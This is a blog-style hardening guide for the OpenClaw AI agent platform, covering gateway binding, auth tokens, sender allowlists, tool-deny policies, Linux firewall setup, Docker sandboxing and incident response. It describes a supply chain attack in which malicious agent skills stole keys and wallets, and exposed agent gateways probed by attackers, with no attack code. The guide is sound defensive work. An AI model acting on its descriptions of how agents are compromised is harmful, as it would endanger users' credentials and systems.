The Proven OpenClaw Security Hardening Playbook

TLDR

Five changes get you to a baseline lockdown: bind gateway to localhost, set a strong auth token, configure sender allowlists, review tool permissions, run openclaw security audit --fix. This guide covers those five plus the OS-level and production hardening on top. Every step has the command and a verification.

Introduction

You set up OpenClaw (previously known as Clawdbot and Moltbot). It's connected to your messaging accounts, running tools on your behalf. But have you locked it down?

This guide applies whether you're running on a VPS, a home server, or your laptop. Tier 1 is OpenClaw-specific configuration that matters everywhere. Tier 2 is OS hardening for always-on Linux boxes (VPS, Pi, home server). Tier 3 is isolation and damage control for production use. Start at Tier 1.

Direct Answer

OpenClaw needs five changes to reach a basic lockdown: bind the gateway to localhost, set a strong auth token, configure sender allowlists, review tool permissions, and run openclaw security audit --fix. This guide covers those five plus hardening the OS and isolating for production.

Table of Contents

• What You'll Learn
• Why This Matters Right Now
• Tier 1: OpenClaw Configuration
• Quick Win: Give This Prompt to Your Agent
• Tier 2: OS Hardening
• Tier 3: Isolation and Damage Control
• Verification Checklist
• Key Terms
• Frequently Asked Questions
• Sources

What You'll Learn

• The five OpenClaw config changes that close the biggest holes
• How to verify each change actually worked
• What the ClawHavoc supply chain attack and 30,000+ exposed instances mean for your setup
• Where OpenClaw-specific hardening ends and generic VPS security begins

Why This Matters Right Now

Three things happened in February 2026.

The ClawHavoc supply chain attack hit ClawHub, OpenClaw's skill marketplace. Researchers found 1,184 malicious skills from 12 attacker accounts. One fake "weather assistant" skill stole the .env file with your API keys. On macOS, a payload grabbed browser passwords, SSH keys, and crypto wallets. The campaign ran from January 27 through early February.

Bitsight found over 30,000 exposed OpenClaw instances in a two-week scan. The attack traffic wasn't just prompt injection. Attackers connected to gateway WebSocket APIs directly, trying auth bypasses and raw command execution. As the researchers noted: "They're not guessing. They've read the source."

Microsoft published "Running OpenClaw safely" on February 19. Their take: "OpenClaw should be treated as untrusted code execution with persistent credentials." Your instance has access to your messages, your files, and your tools. If someone gets in, they get all of it.

When I first set up OpenClaw, I had ChatGPT walk me through basic VPS hardening because I wanted to play with the agent, not spend a weekend on security. I was testing with GLM 4.7 at first, not knowing how prone to prompt injection it was. Nothing happened as far as I know. But the risk was there, and this guide is what I wish I'd had.

Tier 1: OpenClaw Configuration

These are OpenClaw-specific. No other VPS hardening guide covers them.

Bind the Gateway to Localhost

By default, the gateway listens on 127.0.0.1:18789 (loopback). If you changed this to 0.0.0.0 for remote access, you exposed it to the internet. That's how exposed instances end up on security scans.

{
  "gateway": {
    "host": "127.0.0.1",
    "port": 18789
  }
}

For remote access, use an SSH tunnel or Tailscale (Tier 3). Not 0.0.0.0.

Verify:

ss -tlnp | grep 18789

You want 127.0.0.1:18789. If you see 0.0.0.0:18789 or *:18789, it's exposed.

Set a Strong Gateway Token

The gateway token is the password for API calls. Empty or guessable means anyone who reaches your gateway owns it.

openssl rand -hex 32

Put the output in your config:

{
  "gateway": {
    "auth": {
      "token": "your-generated-token-here"
    }
  }
}

Restart with openclaw gateway restart.

Verify:

# Should fail with 401
curl -s http://127.0.0.1:18789/v1/status

# Should succeed
curl -s -H "Authorization: Bearer your-token" http://127.0.0.1:18789/v1/status

If the first one returns data, your auth isn't working.

Configure Sender Allowlists

By default, OpenClaw may accept messages from anyone on a connected platform. In a group chat, any member can issue commands to your agent.

{
  "channels": {
    "telegram": {
      "allowlist": {
        "senders": ["your-telegram-user-id"]
      }
    }
  }
}

Use numeric user IDs, not usernames. Usernames change. The security audit flags this if you get it wrong.

Verify: Message your bot from a different account. It should not respond. If you're using Telegram, the Telegram setup guide covers the allowlist config in detail.

Review Tool Permissions Per Channel

OpenClaw's tool policy system controls which tools work in which contexts. A group chat shouldn't have exec. A public channel definitely shouldn't.

{
  "tools": {
    "policies": {
      "*": {
        "exec": "deny",
        "browser": "deny"
      },
      "dm": {
        "exec": "allow",
        "browser": "allow"
      }
    }
  }
}

Verify: Ask your agent to run a shell command in a group chat. It should refuse. Same command in a DM should work.

Run the Built-In Security Audit

OpenClaw ships with a security audit command that catches misconfigurations: exposed gateway auth, open group policies, Docker settings, file permissions.

openclaw security audit          # baseline
openclaw security audit --deep   # full scan
openclaw security audit --fix    # auto-fix safe issues

The --fix flag only makes safe changes. It won't rotate API keys, turn off tools, or change your gateway binding. Those are on you.

Verify: Run openclaw security audit --deep again. Red items should be green.

Disable Unused Skills

Every skill is code running with your agent's access. After ClawHavoc, this matters. The ClawHub skills guide covers how to vet skills before installing them.

ls ~/.openclaw/workspace/skills/
rm -rf ~/.openclaw/workspace/skills/skill-you-dont-need/

The deep audit checks plugin integrity, catching tampered packages.

Quick Win: Give This Prompt to Your Agent

Matthew Berman published a collection of OpenClaw prompts including a security hardening prompt that builds a layered system: gateway hardening, channel access control, two-stage prompt injection defense, secret/PII redaction, automated monitoring, and system prompt security rules. Paste it into a conversation with your agent and it'll implement what it can, then tell you what needs manual action.

The rest of this guide explains each piece so you understand what the prompt is doing and can verify it worked.

Tier 2: OS Hardening

This section is standard Linux hardening, not OpenClaw-specific. It applies if you're running on an always-on box (VPS, home server, Pi). If you're running locally on a laptop behind a NAT, most of this is already handled by your router and OS. If you've already hardened your server, skip to Tier 3. The DigitalOcean initial server setup guide covers the full walkthrough. Here's the short version.

Firewall

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow ssh
sudo ufw enable

Don't add a rule for port 18789. I made this mistake early on. The gateway should only be reachable via localhost.

Fail2ban

sudo apt install fail2ban -y
sudo systemctl enable fail2ban
sudo systemctl start fail2ban

Default config is fine for SSH protection. Verify with sudo fail2ban-client status sshd.

Dedicated System User

Don't run OpenClaw as root or your main user.

sudo useradd -m -s /bin/bash openclaw

Run the gateway as this user via systemd. Verify with ps aux | grep openclaw.

Log Rotation

OpenClaw makes logs. Without rotation, they fill your disk. See the logrotate docs for the full setup. The key: point a daily rotation config at /home/openclaw/.openclaw/logs/*.log.

Tier 3: Isolation and Damage Control

For production use where OpenClaw touches real business data.

Docker Sandbox

OpenClaw supports sandboxed tool execution via Docker. Tools run in containers with no network access. Sensitive host paths (/etc, /proc, docker.sock) are blocked.

{
  "sandbox": {
    "mode": "all",
    "workspace": "ro",
    "network": false
  }
}

What it doesn't cover: the gateway itself, and tools marked tools.elevated. Those still run on the host.

Tailscale for Remote Access

Instead of exposing ports, use Tailscale. OpenClaw has built-in Tailscale integration:

• serve: Gateway available only within your tailnet. Stays on loopback. Recommended.
• funnel: Public HTTPS through Tailscale. Requires password auth.

With serve mode, your gateway never touches a public IP.

Separate API Keys with Spending Limits

If your instance gets compromised, an attacker with your API keys racks up charges. Limit the damage:

• Separate API keys for OpenClaw at each provider
• Monthly spending limits on each key
• Don't reuse keys from other projects

OpenClaw supports per-session credential pinning so each agent uses its own key.

Encrypted Backups

Your workspace has chat history, API keys, and data from connected services. I lost a week of session history to a bad update because I wasn't backing up. Don't repeat that.

tar czf - /home/openclaw/.openclaw/ | gpg --symmetric --cipher-algo AES256 -o openclaw-backup-$(date +%Y%m%d).tar.gz.gpg

If You Suspect Compromise

1. Stop the gateway. openclaw gateway stop or kill the process.
2. Rotate all API keys. Every provider. Before investigating.
3. Check ~/.openclaw/agents/main/sessions/ for unfamiliar sessions.
4. Rotate your gateway token.
5. Check installed skills for anything you didn't install.
6. Revoke messaging platform sessions and re-authenticate.
7. Audit the VPS: last, crontab -l, cat ~/.ssh/authorized_keys.

If you find signs of a breach, assume the attacker had access to everything OpenClaw could reach.

Verification Checklist

TIER 1: OpenClaw Config
[ ] Gateway bound to 127.0.0.1 (ss -tlnp)
[ ] Gateway token set and working (curl test)
[ ] Sender allowlists for each channel
[ ] Tool permissions restricted in groups
[ ] openclaw security audit --deep clean
[ ] Unused skills removed

TIER 2: OS
[ ] UFW enabled, only SSH inbound
[ ] Fail2ban running
[ ] Dedicated non-root user
[ ] Log rotation configured

TIER 3: Production
[ ] Docker sandbox mode on
[ ] Tailscale/WireGuard (no public ports)
[ ] Separate API keys with limits
[ ] Backups encrypted

Key Terms

Gateway Token

Gateway token is the shared secret authenticating API requests to the OpenClaw gateway. Without it, anyone who reaches your port controls your agent. Set it in gateway.auth.token.

Sender Allowlist

Sender allowlist restricts which users can talk to your OpenClaw agent per channel. Uses numeric user IDs, not usernames. Configured under channels.<platform>.allowlist.senders.

Sandbox Mode

Sandbox mode is OpenClaw's Docker-based tool isolation. Runs tool executions in containers with no network and blocked sensitive paths. Modes: off, non-main (default for groups), all.

ClawHavoc

ClawHavoc is a supply chain attack on ClawHub discovered February 2026. 1,184 malicious skills stole API keys, credentials, and crypto wallets.

Frequently Asked Questions

Can OpenClaw read my entire filesystem?

Yes, by default. OpenClaw runs with the permissions of its user account. If that's root, it reads everything. If that's your main user, it reads everything your main user can. This is why a dedicated system user matters, and why the sandbox restricts tool execution to a container.

What happens if someone gets my gateway token?

Full control of your agent. Session history, tool execution, messages through your connected accounts, access to any files the agent can reach. Equivalent to SSH access. Rotate immediately if you suspect exposure.

Do I need Docker to run OpenClaw securely?

No. Tier 1 and Tier 2 provide strong security without Docker. The sandbox is Tier 3 because it adds defense-in-depth for production, not because it's a baseline requirement.

How do I know if my instance is exposed?

ss -tlnp | grep 18789

If you see 0.0.0.0:18789, it's exposed. From outside your VPS: curl http://your-vps-ip:18789/v1/status. Any response (even auth errors) means the port is reachable.

Is openclaw security audit enough?

It catches OpenClaw-specific issues: gateway auth, group policies, Docker settings, file permissions, plugin integrity. It doesn't set up your firewall, create a dedicated user, or configure Tailscale. Tier 1 security, not the whole picture.

Conclusion

Tier 1 is the stuff you won't find in a generic VPS guide. That's where to start. If you hit issues during setup, the OpenClaw troubleshooting guide covers the common errors. If you want to automate security checks on a schedule, the cron jobs guide walks through setting that up. And for a broader look at how AI coding tools handle security and trust, the best AI code assistants roundup on Emergent Weirdness compares how different tools approach permissions and access.

Sources

1. OpenClaw Security Documentation. https://docs.openclaw.ai/gateway/security
2. OpenClaw Sandboxing. https://docs.openclaw.ai/gateway/sandboxing.md
3. OpenClaw Tailscale Integration. https://docs.openclaw.ai/gateway/tailscale.md
4. OpenClaw CLI Security Reference. https://docs.openclaw.ai/cli/security.md
5. "ClawHavoc Poisons OpenClaw's ClawHub With 1,184 Malicious Skills." CyberPress, February 2026. https://cyberpress.org/clawhavoc-poisons-openclaws-clawhub-with-1184-malicious-skills/
6. Antiy CERT. "ClawHavoc: Analysis of Large-Scale Poisoning Campaign." https://www.antiy.net/p/clawhavoc-analysis-of-large-scale-poisoning-campaign-targeting-the-openclaw-skill-market-for-ai-agents/
7. Cruz, Joao. "OpenClaw: The AI Butler With Its Claws On The Keys To Your Kingdom." Bitsight, February 2026. https://www.bitsight.com/blog/openclaw-ai-security-risks-exposed-instances
8. Microsoft Security Blog. "Running OpenClaw safely: identity, isolation, and runtime risk." February 19, 2026. https://www.microsoft.com/en-us/security/blog/2026/02/19/running-openclaw-safely-identity-isolation-runtime-risk/
9. Berman, Matthew. "OpenClaw Extracted Prompts (Generalized)." GitHub Gist. https://gist.github.com/mberman84/885c972f4216747abfb421bfbddb4eba

Changelog